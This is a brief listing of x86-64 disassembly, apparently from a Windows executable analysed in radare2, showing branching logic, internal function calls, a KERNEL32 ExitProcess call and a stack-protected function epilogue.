add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400263d0
mov rbx, qword [rbx + 0x20]
test rbx, rbx
jne 0x1400262e0
call fcn.14001d5c0
sub eax, 0xa
test eax, 0xfffffffd
jne 0x140026433
call fcn.14002a550
xor ecx, ecx
call fcn.14002d040
test eax, eax
je 0x140026443
call fcn.14002d060
mov ecx, 1
call fcn.14002d040
test eax, eax
je 0x140026456
call fcn.14002d060
call fcn.140024ca0
test eax, eax
jne 0x140026464
call fcn.140023870
call fcn.14001f150
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 1
mov rcx, qword [rbp + 0x810]
xor rcx, rsp
call fcn.14002f0b0
lea r11, [rsp + 0x920]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14003501c
int3